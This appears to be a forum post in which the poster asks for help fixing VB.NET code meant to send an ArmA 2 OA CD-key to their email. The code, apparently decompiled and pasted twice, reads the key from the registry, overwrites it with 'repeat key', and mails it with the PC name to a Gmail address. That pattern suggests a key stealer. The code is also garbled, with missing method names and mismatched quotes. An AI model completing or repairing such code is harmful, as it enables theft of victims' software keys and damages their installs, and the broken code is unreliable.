Hello, I'm trying to make something that take my CD-Key and sends it to my Email! Am I doing this right?
Also I'm getting error, Identifier Expected.
Imports System.Net.Mail
Private Shared Sub (ByVal As String())
Dim str1 As String
Dim str2 As String
str1 = "PC Name=" + Dns.GetHostName() + " & ChrW(10)"
str2 = .("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY")
If ((str2 <> "no path") = True) Then
str1 = str1 + "key=" + str2 + " & ChrW(10)"
.("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
GoTo Label_008E
End If
str1 = str1 + "key=" + .("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY") + " & ChrW(10)
.("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
Label_008E:
.(str1)
MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.Subject = "Account Information"
MyMailMessage.Body = "Key: "
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
SMTP.Send(MyMailMessage)
Return
End Sub
Also I'm getting error, Identifier Expected.
Imports System.Net.Mail
Private Shared Sub (ByVal As String())
Dim str1 As String
Dim str2 As String
str1 = "PC Name=" + Dns.GetHostName() + " & ChrW(10)"
str2 = .("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY")
If ((str2 <> "no path") = True) Then
str1 = str1 + "key=" + str2 + " & ChrW(10)"
.("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
GoTo Label_008E
End If
str1 = str1 + "key=" + .("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY") + " & ChrW(10)
.("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
Label_008E:
.(str1)
MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.Subject = "Account Information"
MyMailMessage.Body = "Key: "
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
SMTP.Send(MyMailMessage)
Return
End Sub